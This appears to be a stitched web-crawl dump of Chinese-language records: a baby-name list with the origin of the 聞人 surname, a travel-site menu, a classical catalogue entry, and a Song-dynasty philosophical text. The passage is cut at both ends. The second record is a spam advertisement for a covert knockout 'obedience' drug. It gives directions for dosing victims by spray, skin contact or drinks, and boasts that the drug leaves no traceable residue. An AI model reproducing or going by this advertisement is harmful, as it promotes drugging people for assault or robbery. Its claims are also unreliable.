聞人芙蓉 聞人瑩遙 聞人海芳 聞人豫梅 聞人姿芳 聞人漪婷 聞人燕仙 聞人婧煒 聞人曙娟 聞人露穎 聞人雋茹 聞人力文 聞人樂怡 聞人水紅 聞人彩紅 聞人淑芬 聞人悅靈 聞人美蓉 聞人玉娟 聞人阿紅 聞人怡潔 聞人鵬悅 聞人靚婷 聞人光紅 聞人悅文 聞人莉娜 聞人小娜 聞人婧藝 聞人玲霞 聞人宇芳 聞人茄怡 聞人秀文 聞人婭屏 聞人軍花 聞人虹霞 聞人枝婷 聞人孟文 聞人硯紅 聞人碧霞 聞人丞琳 聞人凱麗 聞人語艷 聞人春榮 聞人倩敏 聞人倩矜 聞人玉英 聞人雲燕 聞人敦玲 聞人靜麗 聞人曼麗 聞人良英 聞人蕎嫣 聞人雙婷 聞人燕寧 聞人一娜 聞人倩潔 聞人小婷 聞人意堂 聞人園媛 聞人雲萍 聞人思穎 聞人李媛 聞人郎玉 聞人曉梅 聞人志紅 聞人猶婧 聞人飛艷 聞人寶琳 聞人子婷 聞人萍 聞人培瑤 聞人梓倩 聞人浩雪 聞人寶玉 聞人少妍 聞人寶霞 聞人耀文 聞人睿雪 聞人嚴燕 聞人圊瑩 聞人苑玲 聞人翠英 聞人梅瑛 聞人菌穎 聞人夢茹 聞人秋怡 聞人勝萍 聞人小茹 聞人展妍 聞人曉麗 聞人雯琳 聞人婉怡 聞人靜潔 聞人薈文 聞人睿潔 聞人彥美 聞人小英 聞人麗婭 聞人妍憬 聞人夢瓊 聞人花萍 》》還是沒有找到滿意的名字?不妨問問大師。\n姓氏源流聞人(Wén rén 聞人)姓源流純正,源出有一:\n起源於春秋時期少正氏。春秋時期,是奴隸社會過渡到封建社會的大變革時期。五霸爭雄,大國兼並小國,奴隸起義反抗奴隸主的壓迫和剝削等激烈的階級鬥爭,反映在意識形態領域,出現瞭百傢爭鳴的局面,也揭開瞭我國歷史上儒法鬥爭的序幕。春秋末期,魯國的孔子和少正卯兩個人都在開班講學:以孔子為首的儒傢學說,主張\"克己復禮\",維護奴隸主階級\"禮治\"的奴隸社會;以少正卯為代表的法傢學說,主張變法革新,建立新興地主階級法治的封建社會。後來聽少正卯講學的人越來越多,其中包括孔子的學生也來瞭大部分,孔門出現瞭\"三盈三虛\",氣得孔子大罵少正卯是\"小人之桀雄\"。少正卯在講學中很快成為瞭文人學士公認的\"聞人\"(意思是出名的人)。後來,孔子當上瞭魯國的司寇,代行宰相職務,給少正卯加上\"聚眾結社;鼓吹邪說;淆亂是非\"等罪名,把他捕殺瞭,並把他的屍體示眾三天。但他變法革新的進步思想已經傳播開瞭,奴隸制必定滅亡,封建制必定興起。新興地主階級傑出代表秦始皇推行法制,於公元前221年統一瞭六國,建立瞭我國第一個地主階級中央集權制的統一國傢。少正卯的後代子孫就以\"聞人\"命姓,稱聞人氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.share4tw.com\/archives\/285566","date":"2016-10-24T07:01:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719542.42\/warc\/CC-MAIN-20161020183839-00176-ip-10-171-6-4.ec2.internal.warc.gz","language":"lzh","language_score":0.986856401,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9868564009666443}","num_words":408,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"對方失憶水配方進入室內正在30秒即可起效聽話迷\n以後!首頁供應中國造藥網兩頭體\n噴霧迷幻失憶型聽話水(透皮噴霧型)上海藥業貨到付款走勢代價訂購! 張先生\n一:噴霧或塗抹利用下,本人要提前5分鍾服用一顆解藥,預防藥水接觸,本人也會迷到。\n二:如想對方頓時醒來,請將解藥溶水喂對方服下。2分鍾對方即可規複一般\n本産物多用處利用,能夠塗抹至對方皮膚上,能夠兌飲料或酒水服用,30秒即可起效,也能夠與本産物噴于室內。對方進入室內正在30秒即可起效,進出神幻形態,任您。\n藥效反映:對 方塗抹或服用或聞到本産物後30秒發生強烈迷幻,當即不清,認識,有種忘我的形態問什麽答什麽叫作什麽就作什麽。不受本人的節造,讓人産 生,聽你。 結果絕100%,本品30秒內起效,藥效連續5個小時。如想對方頓時,可服用解藥,因爲此藥代謝比力快,正在體內難以查處殘留,最初而不開罪。\n留意事項:本品塗抹,口服,噴霧吸入均可,本品利用對人體無任何副,僅限采辦,請勿用于犯法!\n隱貨天下配奉上門!上海 重慶 天津 廣東 廣州 深圳 中山 東莞 佛山 珠海 惠州 汕頭 江門 江蘇 南京市 無錫 徐州 常州 姑蘇 南通 連雲港 淮安 鹽城 揚州 鎮江 泰州 宿遷 湖北 武漢 武漢,襄樊,,荊州,荊門,隨州,孝感,宜昌,恩施,黃岡,黃石,鹹甯,鄂州 遼甯沈陽 大連 丹東 營口 阜新 遼陽市 盤錦 鐵嶺 向陽 葫蘆島 四川 成都會 自貢 泸州 德陽 綿陽 廣元 遂甯 內江 樂山 南充 眉山 宜賓 廣安 達州 雅安 巴中 資陽 阿壩藏族羌族自治州 甘孜藏族自治州 涼山彜族自治州\n山東 濟南 棗莊 東營 煙台 濟甯 泰安 威海市 日照市 市 市 聊都會 臨沂市 菏澤市 萊蕪市福築 廈門 福州 泉州 三明 南平 龍岩 漳州 甯德 莆田 陝西 西安 銅川 寶雞 鹹陽 渭南 漢中 安康 商洛 榆林 商洛 楊淩 延安 榆林 雲南 昆明 直靖市 玉溪 保山 昭通 麗江 普洱 臨滄 文山壯族苗族自治州 紅河哈尼族彜族自治州 西雙版納傣族自治州 楚雄彜族自治州 大理白族自治州 德宏傣族景頗族自治州 怒江傈僳族自治州 迪慶藏族自治州\n湖南 幼沙 常德 郴州 衡陽 懷化 婁底 邵陽 湘潭 益陽 永州 嶽陽 張家界 株洲 湘西土家族苗族自治州 ,,四平,遼源,白山,白城,通化,松原 鶴崗 雙鴨山 伊春 七台河 黑河 浙江 杭州 甯波 溫州 嘉興 湖州 紹興 金華 衢州 舟山 台州 麗水市 安徽 蕪湖 馬 銅陵 池州 宣城 黃山 巢湖 六安 安慶 淮南 淮北 蚌埠 阜陽 宿州 亳州 滁州 河南 鄭州 開封 洛陽 平頂山 焦作 鶴壁 新鄉 安陽 濮陽 許昌 漯河 三門峽 南陽 商丘 信陽 周口 駐馬店 濟源\n海南 海口 三亞市 江西 南昌 景德鎮 萍鄉 新余 鷹潭 贛州 宜春、上饒 吉安 撫州 山西 太原 大同 陽泉 幼治 晉城 朔州 晉中 運城 忻州 臨汾 呂梁 貴州 貴陽甘肅 嘉峪關 金昌 白銀 天水 武威 張掖 酒泉 平涼 慶陽 定西 隴南 廣西 南甯 桂林 柳州 梧州 欽州 北海 玉林 貴港 防城港 百色 崇右 賓客 賀州 河池 青海 格爾木 西甯 玉樹 果洛 海東 海西 海南 海北 湖北 武漢 黃石 襄樊 荊州 宜昌 荊門 鄂州 孝感 黃岡 鹹甯 隨州 恩施 仙桃 潛江 天門市\n邢台 承德 衡水 秦皇島 自治區 呼倫貝爾 興安盟 通遼 赤峰 錫林郭勒盟 烏蘭察布呼戰浩特 包頭 鄂爾多斯 巴彥淖爾 阿拉善盟 烏海 新疆維吾爾 回族自治區\n本站部門消息來自互聯網及企業自行供給,所有消息內容的真正在性、精確性戰性,請自分辨;若有侵權,請奉告,本站不承負責何義務。","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/www.hxymall.com\/amn\/208.html","date":"2018-05-25T16:22:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867140.87\/warc\/CC-MAIN-20180525160652-20180525180652-00403.warc.gz","language":"lzh","language_score":0.5155543685,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5155543684959412, \"cmn_Hani_score\": 0.2806912958621979, \"nan_Hani_score\": 0.18690024316310883}","num_words":294,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.603,"perplexity_score":500.0,"cluster_detection":1} +{"text":"欢迎您访问佛山!\n想去0\n去过0\n广州旅游指南 韶关旅游指南 深圳旅游指南 珠海旅游指南 汕头旅游指南 江门旅游指南 湛江旅游指南 茂名旅游指南 肇庆旅游指南 惠州旅游指南 梅州旅游指南 汕尾旅游指南 河源旅游指南 阳江旅游指南 清远旅游指南 东莞旅游指南 中山旅游指南 潮州旅游指南 揭阳旅游指南 云浮旅游指南","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/foshan.cncn.com\/history\/","date":"2018-06-24T15:06:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267866965.84\/warc\/CC-MAIN-20180624141349-20180624161349-00015.warc.gz","language":"lzh","language_score":0.6768545508,"language_script":"Hani","minhash_cluster_size":87,"top_langs":"{\"lzh_Hani_score\": 0.6768545508384705, \"cmn_Hani_score\": 0.24820490181446075, \"nan_Hani_score\": 0.030562127009034157, \"jpn_Jpan_score\": 0.027380721643567085, \"yue_Hani_score\": 0.016001837328076363}","num_words":23,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.707,"perplexity_score":500.0,"cluster_detection":1} +{"text":"子部五十七 道家類存目\n洞天福地嶽瀆名山記 一卷\n兩淮馬裕家藏本\n蜀杜光庭撰。首仙山。次五岳。次十大洞天。附以靑城山。次五鎮海瀆。次三十六精廬。次三十六洞天。次七十二福地。次靈化二十四。皆神仙幻窅之言。故雖紀山川。不隸之地理類焉。","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0307302.html","date":"2018-06-18T11:21:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267859766.6\/warc\/CC-MAIN-20180618105733-20180618125553-00001.warc.gz","language":"lzh","language_score":0.4361793399,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.43617933988571167, \"cmn_Hani_score\": 0.3851616680622101, \"jpn_Jpan_score\": 0.07038556039333344, \"wuu_Hani_score\": 0.03487169370055199, \"yue_Hani_score\": 0.02894868142902851, \"nan_Hani_score\": 0.027334848418831825}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.436,"perplexity_score":500.0,"cluster_detection":1} +{"text":"公是先生弟子记\n提要\n《公是先生弟子记》四卷,宋刘敞撰。敞有《春秋传》,已著录。是编题曰弟子记者,盖托言弟子之所记,而文格古雅,与敞所注《春秋》词气如出一手,似非其弟子所能。故晁公武《读书志》以为敞自记其问答之言,当必有据也。公武又称,书中於王安石、杨慥之徒书名,王深甫、欧阳永叔之徒书字,以示褒贬。今考公武所说,亦大概以意推之。即如王回一人,论四岳荐鲧一条,论圣人一条,则书其名。论泰伯一条,论晋武公一条,则书其字。是於褒贬居何等乎?且其书固多攻王氏新学,而亦兼寓针砭元祐诸贤之意,故其言曰:淫声出乎律吕,而非所以正律吕也;小道生乎仁义,而非所以明仁义也。又曰:八音不同物而同声,同声乃和;贤能不同术而同治,同治乃平。又曰:忘情者自以为达,悖情者自以为难,直情者自以为真,三者异趋而同乱。又曰:学不可行者,君子弗取也;言不可用者,君子弗询也。又曰:智不求隐,辨不求给,名不求难,行不求异。又曰:无为而治者,因尧之臣,袭尧之俗,用尧之政,斯孔子谓之无为也。又曰:夫贤者为人所能为而已矣。人所不能为,贤者不为也。又曰:君子耻过而欲改之,小人耻过而欲遂之;君子欲善而自反,小人欲善而自欺。又曰:矜小名以售大伪,饰小廉以钩大利者,惟钜孱尔。盖是时三党交讧,而敞独萧然於门户之外,故其言和平如是。至於称老子之无为,则为安石之新法发。辨孟子之人皆可以为尧舜,则为安石之自命圣人发。其说稍激,则有为言之者也。又王守仁谓无善无恶者性之体,有善有恶者意之用。明人齗齗辨正,称为卫道。今观是书,乃知王安石先有是说,敞已辞而辟之。是其发明正学,又在程、朱之前。其或谓仁义礼智不若道之全一条,谓道固仁义礼智之名,仁义礼智弗在焉,安用道。亦预杜後来狂禅之弊,所见甚正。徒以独抱遗经,澹於声誉,未与伊、洛诸人倾意周旋,故讲学家视为异党,抑之不称耳。实则元丰、熙宁间卓然一醇儒也。其书宋时蜀中有刻版。乾道十年,豫章谢谔得之於刘文濬,付三衢江溥重刊。淳熙元年,赵不黯又於敞从曾孙子和及子和从叔椿家得二旧本,较正舛脱,就江本改刻十八页,补三百七十字。此本即从不黯所刻抄出者,末有谔、溥、不黯三跋,证以《永乐大典》所引,一一符合,知为原书,亦可谓罕觏之笈矣。敞墓志及《宋史·本传》俱称《弟子记》五卷,《读书志》则作一卷,盖南宋之初已病其繁碎,合并为一。今以篇页稍多,厘为四卷,以酌其中。又钱曾《读书敏求记》载《极没要紧》一卷,注曰:即刘原父弟子记也。考浙江所进遗书,有《极没要紧》一卷,亦题公是先生撰。其文皆采掇郭象《庄子注》语,似出依托,与此显为二书。今别存其目於道家中,庶真赝不相淆焉。\n卷一\n劉子曰:四十而仕為不惑也,五十而爵為知命也。不惑然後可以為士,知命然後可以為大夫。\n兼近四隅不失其所者,中是也。并總萬物,不失其元者,一是也。明徳制義不失其方者,禮是也。禮者道之中也,教人以道云乎,豈曰教人以文云乎。道者文之本也,循本以求末易,循末以求本難。今之所謂作者,筆墨焉爾,簡牘焉爾。\n君子之謀也,盡下而用其所長,不以已奪人,故曰功成而已矣,事立而已矣。衆人盡其慮,而君子受其名。\n道之勢似迂闊,道之文似詭偽,道之情似剛狷。勢無迂闊則鄙,文無詭偽則野,情無剛狷則蕩。\n舜作九招,九招者九名也,予識其三焉。祈徵角之謂焉,天可順而不可恃也,鬼神可敬而不可諂也。\n廟中其至矣,百官備,萬物具[案物一本作事],不言而事行,無為而功立。\n齊一變至於魯,魯一變至於道,春秋變魯之實也。修已以安人。\n治天下其猶作樂乎,作樂者備八音,八音不同物而同聲,同聲乃和。治天下者進賢能,賢能不同術而同治,同治乃平。是故樂之和一物不得主焉,天下之平一賢不能名焉。\n政莫美于簡易,何為而可?曰:繁矣而後求簡焉,難矣而後求易焉,簡之而簡者,繁不可如何矣。易之而易者,難不可如何矣。\n儒者之原仁義也,樂工之本律吕也。本律吕者衆,而知律吕者寡;原仁義者衆,而通仁義者寡。律吕之所以亂,淫聲亂之;仁義之所以毁,小道毁之。淫聲出乎律吕,而非所以正律吕也;小道生乎仁義,而非所以明仁義也。善治聲者擇乎律吕,善治道者擇乎仁義。\n天下之道莫大乎學,莫貴乎學。夫學者匹夫也,而居聖人之業,可不謂大乎。匹夫也而言王者之事,可不謂貴乎[案以上二條,一本誤連為一條]。\n聖人辯必能窮萬物而不言,智必能兼萬物而不為。不言者有所止之,不為者有所因之。\n君人議道,有司守法。君人議道,故議道者君人之徳也;有司守法,故守法者有司之器也。\n古所以治者,當其分也。古所以亂者,違其分也。當其分而勸,違其分而競。勸則事立,競則怨作。\n關雎樂而不淫哀而不傷,何謂也?曰:徳之至也。窈窕淑女琴瑟友之,樂也不淫其色。悠哉悠哉輾轉反側,哀也。無傷善之心,此之謂也。\n古之教者言不足而徵,徵不足而諭,諭不足而類,類不足而辯。古之君子言而已矣,辯其末也。\n天有常運也,地有常勢也,人有常性也,物有常理也。是故天地始者由今日知之,萬世後者由今日知之,雖有至愚之人,而不疑于天、不惑于地,審必然也。審必然則不可敓以辭,不可敓以辭者衆人皆然,而君子為甚。是故聖賢之事出于上古者,雖甚逺必有以信之,雖甚幽必有以明之,雖甚繁必有以詔之,雖甚亂必有以治之。書所以紀逺,而書未必盡信也;信有理言所以交近,而言未必盡聴也;聴有理,故信理者不惑于書。聴理者不惑于言、不惑于書可以為師。不惑于言可以為友、\n漢武帝好馬,而余吾渥洼為之出馬;葉公好龍,而龍亦下之。髙宗好賢,恭黙思道,夢帝賚以良弼,此皆可以謂篤好之矣。\n柱厲叔事莒敖公,不見用而死。其難曰,吾以羞後世不知臣者。狼瞫黜于晉,不肯為亂而死國事,亦以使上知也。\n不肖之君諱言死亡,秦人不敢言死,衰宋之主怒言白也。\n趙王殺其良將李牧,而作山木之謳;項羽既敗,悲歌慷慨泣下沾衣;李斯就戮東市,嘻吁感動。使彼早自警安,有此患哉。\n齊靈公淫于崔氏,崔氏殺之,將死曰請自刃于廟。楚成王求食熊蹯而死,趙武靈王梁武帝探鳥鷇而食,胡亥曰願為黔首。皆不忍平居為善,而希望須臾之生。\n楚靈王聞諸公子被殺,自投車下曰,予殺人子多矣,能無及此乎。商君設法殘民,及死之日歎曰,為法之敝一至此乎。使此兩人幸而免,猶自以為行之是也。楚荘王曰吾以不祥道民,則災及吾身。\n桀紂可與為善,哀平不可與圖存。非桀紂優也,時勢失也。\n武王戎車三百兩虎賁三百人而誓司徒司馬司空,此三卿三軍也。諸侯以百乘為軍,不以萬二千五百人為軍,下天子也。以百乘為軍者一乘,凡八十家,家出一人,其中步卒七十二人,甲士三人,其餘以為厮役扈養者,凡一乘則一右,右皆虎賁勇士也。故武王戌軍三百兩,則虎賁三百人。\n漢武帝初好兵,事征伐,故衛青霍去病李廣楊僕諸酷吏皆為用。及後悔之,封丞相為富民侯,而捜粟都尉趙過平都令光更以務農重穀進,天下亦翕然賴之。此一君之身終始相反如此,而隨其取捨,輒皆得人,外則伸威四海,内則安養百姓。世豈乏士哉,常患人主不求也。禮不以近人為達,樂不以易備為樂,事不以便用為利,味不以爽口為美。行之似迂逺,作之似疎拙,居之似愚朴,安之似淡泊,化民成俗,俗既已成,偷偽者不能入。\n物謂之命,生謂之性,道謂之情。情者聖人所貴也,詩書禮樂所由作也,仁義忠信所由顯也。五帝三王所以有其人民也。\n忘情者自以為達,悖情者自以為難,直情者自以為真。三者異趨同亂,不可以為王霸之民。\n哀公問弟子孰為好學,孔子曰顔囘。季康子問弟子好學,子曰顔囘好之者樂之也十室之邑必有忠信如丘者焉不如丘之好學也。此聖人之好學也。\n齊桓欲用管仲,求之于魯。魯施父曰不如殺之。衛鞅為秦伐魏破魏師,魏安釐王曰吾悔不用公叔痤之言以誅鞅也。夫不忍克已為徳而謀害人之臣,猶竊鈴掩耳也。智止于自欺而已。\n教民者禮樂為急,非謂三王之禮五帝之樂也,時禮時樂,禮諭其制,樂諭其功,百姓鼓之舞之而不敢叛焉。\n教民以學,為将行之也;試人以言,為將用之也。是故學不可行者,君子弗取也;言不可用者,君子弗詢也。書曰無稽之言勿聴,弗詢之謀勿庸。\n智不求隠,辯不求給,名不求難,行不求異。推鬼神虚無詭聴易視乘人以[缺]如此者,執而殺之。\n民難聚也而易散,難安也而易危。聚之有道,安之有術,不出于人情而已矣。\n叔贛問曰:尚書記人之功忘人之過,春秋収毫毛之善貶纎芥之惡,二者無異乎?曰:無異。何謂無異也?曰:忘其過不忘其惡,貶其惡無貶其過。\n仁義禮智信,五者霸王之器也,愛之而仁,利之而義,嚴之而禮,謀之而智,示之而信,之謂霸。仁不待愛,義不待利,禮不待嚴,智不待謀,信不待示,之謂王。王者率民以性者也,霸者動民以情者也。性者莫自知其然,情者如畏不可及。王者百年而立百年而備百年而裕百年而衰百年而踣,有過之矣。霸者十年而立十年而備十年而裕十年而衰十年而踣,有不及矣。率人以教人,其政乃純;率人以事神[案此句人字一本訛作神],其鬼乃神。政之不純,教之過也;鬼之不神,事之過也。教人過于觳,事神過于瀆,民不見嚴而煩是亵非瀆乎[案此二句有脱佚字]古之事神者必有則弗徵弗徵民弗信也,必無則弗畏弗畏民弗從也。事神若疑,故筮則弗非,盟則弗叛,禱則壹,齋則潔,言則信,令則從,居則謹,行則順,郊則見帝,廟則見先王,奥則見主,而誰職思亂。\n任天下之憂者,相天下者也。苦天下之重者,君天下者也。任天下之憂者,非憂敗也。言以已為天下法,苦天下之重者,非實可苦也;言富貴之非已伊尹,非憂天下任天下之憂者也,故舉于畎畝而相湯舜禹,非樂天下苦天下之重者也,故受天下禪也。\n古之君子為義于其學,為功于其業。義非其學,雖刑不避。為政者有以徇之,而勸事師也,功非其業,雖賞不就;為政者有以置之,則勸事君也,事師貴一,事君貴一,一之外毋敢動其心。人人一以事師,人人一以事君,天下治矣。義非其學,雖刑不避者誰歟?曰若齊景公虞人魏絳欒氏之臣是也。功非其業,雖賞不就者誰歟?曰若董安于屠羊説者是也。\n五經者五常也:詩者温厚仁之質也,書者訓告信之紀也,易者淵微智之表也,春秋褒貶義之符也。惟禮自名,其道専也。\n利已者亡,利民者霸。能以美利利天下不言所利者王。君臨臣喪以桃茢先,非古也。周之未造也。古者教民不倍死,臣已死,君不忍呼其名。\n事師者北面,言臣之也。就養無方,死則為三年之服,言子之也。故受道焉不敢倍,倍之者君不以為臣,士不以為友。故善事其師者,必善事其親;善事其親者,必善事其君。故人君莫不欲其臣之善師也,故立師保之官;人父莫不欲其子之善師也,故易子而教。\n孟子曰:人之性善,人之性皆可以為堯舜。孟子可謂言過其實矣。人之性善,且有上有中有下。于上也又有上焉,于中也又有中焉,于下也又有下焉,九品也。故上者聖,中者君子,下者有常。不及乎聖而為仁,不及乎君子而為善,不及乎有常而為齊民。故性不同也而善均,善不同也而性均,故人不可以為堯舜,猶堯舜不可為人也。壽莫如召公,不能至乎聖而止;夭莫如顔子,亦不能至乎聖而止。使召公而夭使顔子而壽,其材亦若是而止矣。此性之不可過也。人何可為堯舜哉?故開難到之期者,人不能信也;人不能信者,學不能益也。\n古之教者,詩書禮樂。至仲尼益之以易春秋,樂自此沒矣。禮者徳行之本也,詩者言語之本也,書者文學之本也,春秋者政事之本也。此四本者,君子之所盡心也。\n聚無功之人者,乏百姓之食也。地不加闢而賦粟倍,民不益進而廪餼廣,貧則不能富也,流則不能止也,殍則不能救也。此率人而使食人也,人相食則不祥莫大焉。子曰:參乎吾道一以貫之。曾子曰:唯。門人問曾子,曾子曰忠恕而已矣。施之已曰忠,施之人曰恕。\n聖人之功與人同也,聖人之徳與人同也。聖人之性不可及也。聖人之功不過治人,聖人之徳不過治身,聖人之性不行而至,不疾而速,惡可及哉。孔子曰:十室之邑必有忠信,如丘者焉。是故舉功徳以言聖人者,其由不知聖人者也。\n有材而不知道,材非其材也;有功而不知道,功非其功也。\n古者祭蓋必有配,配必有尸,尸者人道也。非祭人則無尸。\n天子七廟,二王後六廟,諸侯五廟,孤卿四廟,大夫三廟,上士二廟,官師一廟。故生異宫者祭異廟也。\n孔子曰無為而治者其舜也與。如何斯可謂之無為矣?曰:因堯之臣,襲堯之俗,用堯之政,斯孔子謂之無為也。正朔無所改,制度無所變,教令無所易,恭已正南面而已矣。孔子曰巍巍乎舜禹之有天下也,而不與焉,王者承極敝之後者則新之,改正朔以新其時也,異徽號服色以新其目也,殊聲音律吕之變以新其耳也,一制度法令以新其俗也,非所謂無為也。孔子曰唐虞禪夏后繼湯武伐,其義一也。\n不王不禘,非諸侯不祫。祫及其壇墠。禘者禘其祖之所自出,以其祖配之而及其夾室。\n廟有二昭,漢之失禮也,古者一昭一穆。\n非學之難,知所學之難也。非所學之難,知道之難也。非知道之難,知行道之難也。知所學者亦鮮矣,知道者吾未之見也。譬知道者其猶止水乎,止水能盡物之形,此之謂一以貫之。\n商賈有千百之利則勤,農夫有終嵗之食則勉,是其樂之者也。為道者亦然。苟得其樂終身不厭,苟為不得終身愁苦,亦勤之而已矣。如商賈之謀富,農夫之望嵗,安有不及哉。詩曰如匪行邁謀是用,不得于道,今之為學者多若此,勿為名則名隨之,勿為利則利隨之,故學者去名利之心而已矣。\n徳之親民甚于子孫,子孫天性也,服有時而殺,廟有時而遷。至于徳,或累十世,民悲思享嘗之,詩曰豈弟君子胡不萬年。\n賓之初筵,飲酒之禮也。古者非祭祀不飲酒,不至于醉。書曰庶國飲惟祀徳將無醉。\n秦之亡不亦宜乎,多為利者大夫則君之,婦人則客之,以是教其民焉,民是以共利之。為政者慎所以導民,導民于善其報亦善,導民于惡其報亦惡。詩曰爾之教矣民胥效矣。\n莫之為仁者而謂之不可為,猶莫之行而忌逺也。熊蹯之美,不食則不知其美。知熊蹯之美者,必其食之者也。先王之禮,其猶熊蹯乎。\n庶子為後為其母,不敢貳尊者也。庶祖母之喪三年,非禮也,吾未之聞也。\n聖人之治天下,結之不以恩惠,威之不以刑罰,不為而治者,民自治也。一曰宗族,二曰師友,三曰賓客,四曰祭祀,五曰喪紀。\n所謂命者道而已矣。生死貴賤貧富,道之制也。君子以為命,所謂天者,人而已矣。人歸之則為諸侯,諸侯歸之則為天子,人之制也,非已制也。君子以為天,知道者其知命也,知人者其知天也。\n孫不後祖,故有嫡子無嫡孫。嫡孫者繼嫡子者也。為嫡子三年,為嫡孫朞祖不以孫為後也。祖不以孫為後,孫亦不敢後祖也。然則孰後,後嫡子。嫡子死有子則廟,廟則以昭穆治之;無子則不廟,不廟則不以昭穆治也。孫後祖者,惟始封君及始為大夫之嫡子,前死者子未為後其孫代之,于是乎為祖三年。後者後宗廟也。庶子不為長子,三年言不為後也。禮曰祖卒然後為祖後者服斬,此之謂也。\n卷二\n或問曰:太公治齊尊賢而尚能,周公曰後世必有簒奪之臣;周公治魯尊尊而親親,太公曰後世寖弱矣。若是乎聖賢之無益于治亂之數也?曰:否,此非聖賢之語也。致功兼并者文其過之言爾。齊不用太公之法故齊奪,魯不用周公之政故魯弱。尊賢尚能,非所以啟簒也。尊尊親親,非所以致弱也。齊桓公修太公之法而霸天下,魯僖公修周公之政,詩人頌之,以比三王。惡在其無益于治亂也?\n或曰:人有言太公封于齊,五月而報政;伯禽封于魯,三年而報政。周公喟然歎曰,嗚呼,魯後世其北面齊乎。夫政不簡不易,民不有近。平易近民,民則歸之。信有諸乎?曰:否,此非周公之語,致功兼并者,欲速之言耳。孔子曰,無欲速,無見小利。欲速則不達,見小利則大事不成。古之人豈不欲簡易哉?又惡欲速,速非所以簡易也。簡易者未嘗速也。民之為道信而後可使,富而後可教,安而後可保。此所以為達也。三年之為亟矣。齊先魯亡,何魯之北面哉。孔子曰:齊一變至于魯,魯一變至于道。\n吳起可謂知戰矣,親與士卒最下者同其勞苦。曰:是何足以言知戰也?子見夫乞人乎,叫號偃仆乎康荘之間,其聲可哀也,不若是不足以濟其身。若乃家丈人者,五十可以衣絲,七十可以食肉,子孫者奉之爾。父母之仇不與共天下,兄弟之仇不與共國,非虚加之也。然後稱于人情,視民如子者民報之如父,視民如弟者民事之如兄,無所仇云爾,有則争先致力焉。子弟豈待父兄與已均其苦,然後為用哉?故用民者矯之以身,徇之以愛,濟之以術,苟一時之勝而已矣。惡可以久哉?詩曰服其命服朱芾斯皇八鸞鏘鏘,道上不失度,下不失節也。駕彼四牡四牡騤騤君子所依小人所腓,君子之所依,而小人以為已腓,安在其毁上下之節哉。\n或曰:仁者壽,顔淵何以不壽?曰:死生命也,非人之所益。然則仁者壽,非君子之言乎?曰:固君子之言也,所謂壽者,言無以増其年而已矣。通是道者,内自得于心,雖殤子猶彭祖也。有言彭祖而非壽者乎?請問知者樂,曰:通是道者,内則得于心,雖窮居猶南面也。烏有南面而非樂者乎?請問仁智動静,曰:誠而明之静也,明而誠之動也。孔子曰,顔氏之子其殆庶幾乎,不遷怒不貳過[案此條一本誤分孔子曰以下另為一條]。\n君子之事君也,諫不用則去。諫不用而去者,道也。先其未亂也,見亂而去,是逃也,死之可也。\n君子之不去其君也,不忍也。何不忍也,曰不忍其君之無與為善。曰庶幾乎若此哉,故不聴則諫不已,其有利之之心焉,是貪也,非不忍也。\n子以四教:文行忠信。文所謂文學也,行所謂徳行也,政事主忠,言語主信。\n君子之不言利也,惡其號也。曰利于已不可言也,利于國利于天下不言,不亦病乎?曰:天子之有天下,猶諸侯之有國。諸侯之有國,猶大夫之有家。大夫之有家,猶庶人之有室。大者治大,小者治小云爾。非異物也。利之天下則謂之公,利之家則謂之私。利之國則謂之亷,利之室則謂之貪。是亦不知類也。詩云爾之教矣民胥效矣,上之所貴而下為之,則善事上也。上之所貴而下不為之,則不善事上也。欲治民而責其善事上,非也。責其不善事上而惡其效已于利,難矣。如惡之也,則莫若不言利。\n君以人為天,人以君為天。天以人為天,人之所歸號之曰天,與之人之所去號之曰天奪之,非君以人為天歟?君安之則安,富之則富,生之則生,死之則死,非人以君為天歟?世治人曰天也,世亂人曰天也,天非實治之也,天非實亂之也,有曰治有曰亂者,非天以人為天歟?君子畏幽則小人畏明,君子畏明則小人其無畏矣,詩云憯不畏明。\n性者受之天也,道者受之人也。受之天者,已雖欲易之不能易也;受之人者,人雖欲易之不能易也。魚不可使去淵,鳥不可使去林,天也。出處語黙隠顯之不齊,人也。有所受之矣。\n言而無當,猶漏巵也,形具而已矣。\n聖人無可無不可,賢人有可有不可,衆人適可適不可。聖人曰懐之,賢人曰擇之,衆人曰所遇而已矣。\n誠於中者,其受言也不惑。不惑然後知言,知言然後知人。\n權所以濟義也,非義無所用權。為義者聴民,民之所徇因以濟之,堯舜禪,湯武伐,義也。\n人君誠有畏天之心,雖有災害不殘。及其無畏天之心,雖有災害殘矣。人君誠有恤民之心,雖有災害不畔,及其無恤民之心,雖無災害離矣。故天之所享誠也,氏之所保誠也。誠之至不言而喻,不施而惠,不禱祀而福,是以人道貴忠也。\n三王肉辟,有諸?曰:有之。不已慘乎?曰:秦漢則慘,三王則否。井田以均之,鄉黨以安之,學校以教之,示之以禮,動之以義,惠之以仁,竒衺之行無自習焉,荒鄙之聲無自聞